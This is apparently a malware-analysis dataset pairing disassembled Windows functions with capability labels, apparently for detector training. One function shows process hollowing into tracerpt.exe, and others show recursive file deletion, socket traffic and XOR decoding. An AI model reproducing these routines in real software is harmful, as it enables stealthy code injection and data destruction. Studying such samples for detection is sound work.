joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003bd0
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [eax + 0x14]
push ebx
test eax, eax
jne 0x10003bf3
mov ecx, dword [esi + 0x44]
mov edx, dword [esi + 0x40]
push 0x23
push ecx
push edx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x10003c0c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, 1
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], 2
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], ebx
xor eax, eax
pop ebx
ret
push edi
lea eax, [esi + 0x19c]
push eax
lea ecx, [esi + 0x1d8]
mov ebx, 1
push ecx
mov dword [esi + 0x60], ebx
mov ecx, esi
mov eax, esi
mov dword [esi + 0x64], ebx
call fcn.10004af0
mov edx, dword [esi + 0x40]
xor edi, edi
push edi
push edi
push edi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x10003c55
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
cmp edi, 0x2733
jne 0x10003c55
xor edi, edi
mov eax, dword [esi + 0x48]
push eax
call fcn.10002c50
add esp, 4
test edi, edi
pop edi
je 0x10003c70
mov eax, 0x80004005
call fcn.10001280
mov eax, ebx
pop ebx
ret

Function at 0x10003c80
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
lea esp, [esp]
mov eax, dword [ebx + 0x70]
mov ecx, dword [ebx + 0x40]
push 0
push 0x598
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test edi, edi
jle 0x10003d52
cmp edi, 0x10
jne 0x10003cd8
mov edx, dword [ebx + 0x70]
mov ecx, eax
mov eax, 0x1001a5bc
sub edx, eax
cmp ecx, 4
jb 0x10003d8a
mov esi, dword [edx + eax]
cmp esi, dword [eax]
jne 0x10003cd8
sub ecx, 4
add eax, 4
jmp 0x10003cc0
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebx + 0x1c0]
mov edx, dword [ebx + 0x1c8]
mov eax, dword [ebx + 0x70]
lea esi, [ebx + 0x1d8]
cmp edi, 0x18
jl 0x10003d06
push ecx
push edi
push eax
mov edi, edx
call fcn.10005070
jmp 0x10003d10
cmp edi, 0xc
jne 0x10003d80
call fcn.10004f20
cmp eax, 2
jne 0x10003c90
mov edx, dword [ebx + 0x48]
push edx
call fcn.10002c50
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x10003d34
mov eax, 0x4c7
mov ecx, 1
mov dword [ebx + 0x3c], ecx
mov dword [ebx + 0x34], 4
pop edi
mov dword [ebx + 0x30], ecx
mov dword [ebx + 0x38], eax
pop esi
xor eax, eax
pop ebx
pop ebp
ret 4
cmp edi, 0xffffffff
jne 0x10003c90
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x10003da7
cmp eax, 0x2744
je 0x10003c90
cmp eax, 0x2746
je 0x10003c90
jmp 0x10003d34
push 0xd
call dword [sym.imp.WS2_32.dll_WSASetLastError]
jmp 0x10003d19
xor eax, eax
pop edi
mov dword [ebx + 0x30], 1
mov dword [ebx + 0x34], 5
mov dword [ebx + 0x3c], eax
pop esi
mov dword [ebx + 0x38], eax
pop ebx
pop ebp
ret 4
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret 4
Function at 0x10003f50
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
mov eax, dword [esi + 0x64]
cmp eax, 3
je 0x10004038
lea edi, [esi + 0x15c]
push edi
call fcn.10002b80
mov ecx, dword [esi + 0x64]
cmp ecx, 1
je 0x10003f88
mov edx, dword [esi + 0x64]
test edx, edx
jne 0x10004032
mov dword [esi + 0x64], 2
mov dword [edi], 0
mov eax, ebx
call fcn.10004150
mov eax, dword [esi + 0x60]
test eax, eax
je 0x10003fc3
cmp dword [esi + 0x3c], 0
je 0x10003fbc
mov ecx, dword [esi + 0x40]
push 0
push 0x10
push 0x1001a5bc
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [esi + 0x60], 0
cmp dword [esi + 0x30], 0
je 0x10003feb
mov edx, dword [esi + 0x48]
push edx
call fcn.10002c50
mov eax, dword [esi + 4]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
lea ecx, [esi + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x44]
test eax, eax
je 0x10004000
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 0x44], 0
mov eax, dword [esi + 0x40]
cmp eax, 0xffffffff
je 0x10004022
push 1
push eax
call dword [sym.imp.WS2_32.dll_shutdown]
mov edx, dword [esi + 0x40]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 0x40], 0xffffffff
mov edi, esi
call fcn.10004050
pop edi
pop esi
mov eax, 1
pop ebx
ret
mov dword [edi], 0
push 0x139f
mov dword [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x10004420
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 4]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
push eax
call edi
mov ecx, dword [esi + 0x264]
push ecx
call edi
call dword [sym.imp.WINMM.dll_timeGetTime]
push 0
lea ebx, [esi + 0x18]
push ebx
mov dword [esi + 0x14], eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
xor eax, eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov word [esi + 0x28], ax
mov ecx, dword [esi + 0x64]
mov edx, dword [esi + 0x14]
mov eax, dword [esi + 0x18]
mov dword [esi + 0x20], edx
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], 0xca
cmp ecx, 3
je 0x1000447e
mov eax, esi
call fcn.10003f50
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edx
push eax
mov eax, esi
call fcn.100034e0
mov ecx, dword [esi + 0x264]
push 0x1770
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x100044d7
cmp eax, 0x102
je 0x100044c3
cmp eax, 0xffffffff
jne 0x100044cc
mov edx, dword [esi + 0x264]
push edx
call edi
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi + 0x264]
push eax
call edi
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [esi + 0x264]
push ecx
call edi
lea edx, [ebp - 4]
push edx
push 0
push esi
push 0x10004520
push 0
push 0
call fcn.10009d5b
add esp, 0x18
pop edi
mov dword [esi + 0x268], eax
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10005dc0
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Create process suspended
Get common file path
Get file attributes
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x1001d210]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10049194]
push 0x44
lea ecx, [ebp - 0x418]
push 0
push ecx
mov dword [ebp - 0x3d4], eax
call fcn.1000e900
xor eax, eax
mov dword [esi], eax
push 0x2cc
mov dword [esi + 4], eax
push eax
lea edx, [ebp - 0x3d0]
mov dword [esi + 8], eax
push edx
mov dword [esi + 0xc], eax
call fcn.1000e900
xor eax, eax
push 0xfe
push eax
lea ecx, [ebp - 0x103]
push ecx
mov dword [ebp - 0x418], 0x44
mov dword [ebp - 0x3ec], 1
mov word [ebp - 0x3e8], ax
mov byte [ebp - 0x104], al
call fcn.1000e900
add esp, 0x24
push 0xff
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x104]
push str.WindowsSysWOW64_tracerpt.exe
push eax
push str._s_s
mov edx, eax
mov byte [ebp - 0x101], 0
call fcn.10005f80
add esp, 0xc
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10005eab
push str.WindowsSystem32_tracerpt.exe
lea edx, [ebp - 0x104]
push edx
push str._s_s
mov byte [ebp - 0x101], 0
call fcn.10005f80
add esp, 0xc
push esi
lea eax, [ebp - 0x418]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10005ee0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000935e
mov esp, ebp
pop ebp
ret
mov edx, dword [esi]
push ebx
push 0x40
push 0x3000
push edi
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x10005f4c
mov eax, dword [ebp - 0x3d4]
mov ecx, dword [esi]
push 0
push edi
push eax
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10005f4c
mov eax, dword [esi + 4]
lea edx, [ebp - 0x3d0]
push edx
push eax
mov dword [ebp - 0x3d0], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10005f4c
mov edx, dword [esi + 4]
lea ecx, [ebp - 0x3d0]
push ecx
push edx
mov dword [ebp - 0x318], ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x10005f5d
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000935e
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.1000935e
mov esp, ebp
pop ebp
ret
Function at 0x100071f0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x1004a474], 0
jne 0x100074ca
push esi
push str.0:db1:lk1:hs1:ld0:ll1:hb0:pj61.1_.4202:zb0.1:bb
mov byte [0x1004a474], 1
call fcn.1000a5fc
push 0x12a0
push 0
push 0x100491c0
call fcn.1000e900
push 0
push 0x100491de
push 0x1001a794
call fcn.10007120
push 0
push 0x100493dc
push 0x1001a79c
call fcn.10007120
push 0x10049418
push 0
push 0x1001a7a4
call fcn.10007120
push 0
push 0x1004941c
push 0x1001a7ac
call fcn.10007120
add esp, 0x40
push 0
push 0x1004961a
push 0x1001a7b4
call fcn.10007120
push 0x10049658
push 0
push 0x1001a7bc
call fcn.10007120
push 0
push 0x1004965c
push 0x1001a7c4
call fcn.10007120
push 0
push 0x1004985a
push 0x1001a7cc
call fcn.10007120
push 0x10049898
push 0
push 0x1001a7d4
call fcn.10007120
push 0
push 0x1004989c
push 0x1001a7dc
call fcn.10007120
add esp, 0x48
push 0
push 0x100498d8
push 0x1001a7e4
call fcn.10007120
push 0
push 0x10049914
push 0x1001a7ec
call fcn.10007120
push 0
push 0x10049978
push 0x1001a7f4
call fcn.10007120
push 0
push 0x100499dc
push 0x1001a7fc
call fcn.10007120
push 0x10049a40
push 0
push 0x1001a804
call fcn.10007120
push 0x10049a44
push 0
push 0x1001a80c
call fcn.10007120
add esp, 0x48
push 0x10049a48
push 0
push 0x1001a814
call fcn.10007120
push 0x10049a4c
push 0
push 0x1001a81c
call fcn.10007120
push 0x10049a50
push 0
push 0x1001a824
call fcn.10007120
push 0x10049a54
push 0
push 0x1001a82c
call fcn.10007120
push 0x10049a58
push 0
push 0x1001a834
call fcn.10007120
push 0x10049a5c
push 0
push 0x1001a83c
call fcn.10007120
add esp, 0x48
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push str.Console
push connect
mov dword [ebp - 8], 3
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x100073f2
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 4]
push ecx
push 0
lea edx, [ebp - 8]
push edx
push 0
push str.IpDate
push eax
call esi
cmp dword [ebp - 4], 0xa
jbe 0x100074c9
push 0x7d0
push 0
push str.0:db1:lk1:hs1:ld0:ll1:hb0:pj61.1_.4202:zb0.1:bb
call fcn.1000e900
mov eax, dword [ebp - 0xc]
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push str.0:db1:lk1:hs1:ld0:ll1:hb0:pj61.1_.4202:zb0.1:bb
lea edx, [ebp - 8]
push edx
push 0
push str.IpDate
push eax
call esi
push 0
push 0x100491de
push 0x1001a794
call fcn.10007120
push 0
push 0x100493dc
push 0x1001a79c
call fcn.10007120
push 0x10049418
push 0
push 0x1001a7a4
call fcn.10007120
push 0
push 0x1004941c
push 0x1001a7ac
call fcn.10007120
push 0
push 0x1004961a
push 0x1001a7b4
call fcn.10007120
push 0x10049658
push 0
push 0x1001a7bc
call fcn.10007120
add esp, 0x48
push 0
push 0x1004965c
push 0x1001a7c4
call fcn.10007120
push 0
push 0x1004985a
push 0x1001a7cc
call fcn.10007120
push 0x10049898
push 0
push 0x1001a7d4
call fcn.10007120
add esp, 0x24
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10007560
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x690
mov eax, dword [0x1001d210]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x208
lea eax, [ebp - 0x43c]
push 0
push eax
call fcn.1000e900
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp word [esi + eax*2 - 2], 0x5c
mov edi, 0x1001a864
jne 0x100075a8
mov edi, 0x1001a67c
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
push edi
push esi
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x43c]
push ecx
mov dword [ebp - 0x28], 0x730025
mov dword [ebp - 0x24], 0x730025
mov dword [ebp - 0x20], 0x2e002a
mov dword [ebp - 0x1c], 0x2a
call ebx
add esp, 0x10
lea edx, [ebp - 0x68c]
push edx
lea eax, [ebp - 0x43c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x690], eax
cmp eax, 0xffffffff
jne 0x1000760e
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1000935e
mov esp, ebp
pop ebp
ret
xor ecx, ecx
mov dword [ebp - 0x18], 0x730025
mov dword [ebp - 0x14], 0x730025
mov dword [ebp - 0x10], 0x730025
mov word [ebp - 0xc], cx
cmp word [ebp - 0x660], 0x2e
je 0x100076a7
test byte [ebp - 0x68c], 0x10
je 0x10007666
lea edx, [ebp - 0x660]
push edx
push edi
push esi
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x234]
push ecx
call ebx
lea edx, [ebp - 0x234]
add esp, 0x14
push edx
call fcn.10007560
add esp, 4
jmp 0x100076a7
lea eax, [ebp - 0x660]
push eax
push edi
push esi
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x234]
push edx
call ebx
add esp, 0x14
test byte [ebp - 0x68c], 1
je 0x1000769a
push 0x80
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x234]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x690]
lea edx, [ebp - 0x68c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10007629
mov ecx, dword [ebp - 0x690]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov ecx, dword [ebp - 8]
test eax, eax
pop edi
setne al
pop esi
xor ecx, ebp
pop ebx
call fcn.1000935e
mov esp, ebp
pop ebp
ret
Function at 0x10008480
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
dec eax
jne 0x100084d2
cmp dword [0x1004a460], eax
jne 0x100084d2
push str.0:db1:lk1:hs1:ld0:ll1:hb0:pj61.1_.4202:zb0.1:bb
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x1e
jle 0x100084d2
call fcn.100071f0
cmp dword [0x10049a50], 0
je 0x100084d2
push 0
push 0
push 0
push 0x100081f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x1004a460], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
pop ebp
ret 0xc

Function at 0x100084e0
Capabilities:
Create thread

Disassembly:
cmp dword [0x1004a460], 0
jne 0x1000851d
call fcn.100071f0
push 0
push 0
push 0
push 0x100081f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x1004a460], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x1004a460]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
ret

Function at 0x10008520
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x1004a460], 0
jne 0x10008580
push esi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
push esi
push str.0:db1:lk1:hs1:ld0:ll1:hb0:pj61.1_.4202:zb0.1:bb
call fcn.1000e980
add esp, 0xc
call fcn.100071f0
push 0
push 0
push 0
push 0x100081f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x1004a460], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [0x1004a460]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebp
ret

Function at 0x10008590
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x100081f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x1004a460], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
ret

Function at 0x1000935e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001d210]
jne 0x10009368
repz ret
jmp fcn.1000a8ff
Function at 0x1001032c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1001d210]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1000c6a7
and dword [ebp - 0x14], 0
cmp dword [0x100482d4], 0
mov dword [ebp - 0x18], eax
jne 0x100103df
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10010487
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10010487
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x100482d4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x100482d8], eax
call edi
push eax
call esi
push 0x10019cfc
push ebx
mov dword [0x100482dc], eax
call edi
push eax
call esi
mov dword [0x100482e4], eax
test eax, eax
je 0x100103df
push 0x10019ce4
push ebx
call edi
push eax
call esi
mov dword [0x100482e0], eax
mov eax, dword [0x100482e0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10010438
cmp dword [0x100482e4], ecx
je 0x10010438
push eax
call esi
push dword [0x100482e4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10010438
test ebx, ebx
je 0x10010438
call edi
test eax, eax
je 0x1001042f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1001042f
test byte [ebp - 8], 1
jne 0x10010438
or dword [ebp + 0x10], 0x200000
jmp 0x1001046b
mov eax, dword [0x100482d8]
cmp eax, dword [ebp - 0x18]
je 0x1001046b
push eax
call esi
test eax, eax
je 0x1001046b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1001046b
mov eax, dword [0x100482dc]
cmp eax, dword [ebp - 0x18]
je 0x1001046b
push eax
call esi
test eax, eax
je 0x1001046b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x100482d4]
call esi
test eax, eax
je 0x10010487
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10010489
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000935e
leave
ret

Function at 0x414ac0
Capabilities:
Encode data using xor

Disassembly:
mov byte [0xf79c74d8], al
push ecx
xchg ecx, eax
pop ss
out 0xd0, eax
invalid
js 0x414a5c
not dword [ecx - 0x6f]
pop edx
cmpsd dword [esi], dword es:[edi]
or byte [0x1cd9a2dd], ah
dec esp
pushal
lcall 0x590e, 0x3054f674
pop esp
daa
and al, 0x74
push es
push ds
mov ah, byte [ebx + 0x1b]
fcom dword [esi + ebx*8 + 0x7c7062a2]
loopne 0x414abe
int3
Function at 0x40bcd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
movss xmm0, dword [0x4572e8]
sub esp, 8
movss xmm2, dword [0x44d418]
movss xmm1, dword [0x457508]
subss xmm2, xmm0
movss xmm0, dword [0x457508]
addss xmm1, dword [0x44ce7c]
addss xmm0, dword [0x44c730]
comiss xmm1, xmm2
movss dword [0x457508], xmm0
jb 0x40bd3c
movsx eax, word [0x457268]
movsd xmm0, qword [0x4573e8]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
subsd xmm1, xmm0
cvttsd2si eax, xmm1
mov word [0x457268], ax
inc word [0x4572b4]
mov ax, word [0x4572b4]
movzx ecx, word [0x457064]
cwde
push ebx
sub ecx, eax
mov eax, dword [ebp + 0xc]
push esi
add eax, 4
add ecx, 0x7dbb89a0
push edi
push eax
mov word [0x457064], cx
call fcn.0041c49d
mov edi, dword [ebp + 8]
mov esi, eax
add esp, 4
mov dword [ebp - 8], esi
lea ebx, [ebx]
mov cl, byte [edi + 0x448300]
mov byte [esi], cl
mov eax, dword [0x458cf0]
movzx eax, byte [eax + edi]
xor al, cl
mov byte [esi], al
mov cl, byte [edi + 0x448301]
mov byte [esi + 1], cl
mov eax, dword [0x458cf0]
movzx eax, byte [eax + edi + 1]
add edi, 2
xor al, cl
mov byte [esi + 1], al
movss xmm0, dword [0x457378]
subss xmm0, dword [0x44cff8]
movss dword [0x457378], xmm0
movzx ebx, word [esi]
mov dword [ebp - 4], ebx
lea eax, [ebx + 3]
push eax
lea eax, [edi + 0x448300]
push eax
push esi
call fcn.0041d3f0
movsx eax, word [0x4570d8]
add ebx, 3
movsd xmm0, qword [0x457140]
add ebx, esi
add esp, 0xc
mov dword [ebp + 8], ebx
xor edx, edx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
subsd xmm1, xmm0
cvttsd2si eax, xmm1
mov dword [0x457464], eax
xor eax, eax
movsd xmm0, qword [0x457140]
subsd xmm0, qword [0x44c738]
mov ecx, dword [0x458cf0]
add ecx, edi
mov edi, ebx
sub edi, esi
cmp esi, ebx
movsd qword [0x457140], xmm0
cmova edi, eax
movsd xmm0, qword [0x457478]
subsd xmm0, qword [0x44ca58]
movsd qword [0x457478], xmm0
test edi, edi
je 0x40bece
cmp edi, 0x20
jb 0x40beb3
lea eax, [ecx - 1]
add eax, edi
cmp esi, eax
ja 0x40be6e
lea eax, [esi - 1]
add eax, edi
cmp eax, ecx
jae 0x40beb3
mov eax, edi
mov ebx, edi
and eax, 0x1f
sub ebx, eax
jmp 0x40be80
movdqu xmm0, xmmword [esi]
add edx, 0x20
movdqu xmm1, xmmword [ecx]
pxor xmm1, xmm0
movdqu xmmword [esi], xmm1
movdqu xmm1, xmmword [ecx + 0x10]
add ecx, 0x20
movdqu xmm0, xmmword [esi + 0x10]
pxor xmm1, xmm0
movdqu xmmword [esi + 0x10], xmm1
add esi, 0x20
cmp edx, ebx
jne 0x40be80
mov ebx, dword [ebp + 8]
cmp edx, edi
je 0x40bece
sub ecx, esi
lea esp, [esp]
mov al, byte [ecx + esi]
lea esi, [esi + 1]
xor byte [esi - 1], al
inc edx
cmp edx, edi
jne 0x40bec0
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
cmp eax, ecx
je 0x40beeb
sub eax, ecx
mov byte [ebx], 0
mov edi, dword [ebx - 3]
lea esi, [ebx - 3]
mov dword [ebp + 0xc], eax
jmp 0x40bd80
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c2b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x4574c4]
movss xmm0, dword [0x457380]
cmp dword [0x459b68], 0
subss xmm0, dword [0x44cea0]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm0, dword [0x44d488]
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [0x4574c4], eax
jne 0x40c2f7
call fcn.004088d0
mov dword [0x459b68], eax
push esi
push edi
push 3
push 0x19f
call fcn.0040bcd0
mov esi, eax
push esi
push dword [ebp + 8]
call fcn.0041cbe7
push esi
push 3
mov edi, eax
call fcn.00404960
add esp, 0x18
test edi, edi
jne 0x40c36f
push 0x3e8
call dword [0x4594c0]
push 3
push 0x19f
call fcn.0040bcd0
mov ecx, dword [0x4574e8]
mov esi, eax
mov edx, dword [0x4571a8]
add ecx, 0x1ffe7bdc
imul edx, ecx
push esi
push dword [ebp + 8]
mov dword [0x4571a8], edx
call fcn.0041cbe7
push esi
push 3
mov edi, eax
call fcn.00404960
add esp, 0x18
test edi, edi
je 0x40c387
push edi
push 1
push 4
push 0x459b68
call fcn.0041cd9a
push edi
call fcn.0041c8bc
add esp, 0x14
movss xmm1, dword [0x4571fc]
subss xmm1, dword [0x44cfb8]
movss xmm0, dword [0x457390]
pop edi
pop esi
addss xmm0, xmm1
movss dword [0x457390], xmm0
movss xmm0, dword [0x4571fc]
subss xmm0, dword [0x44c730]
movss dword [0x4571fc], xmm0
pop ebp
ret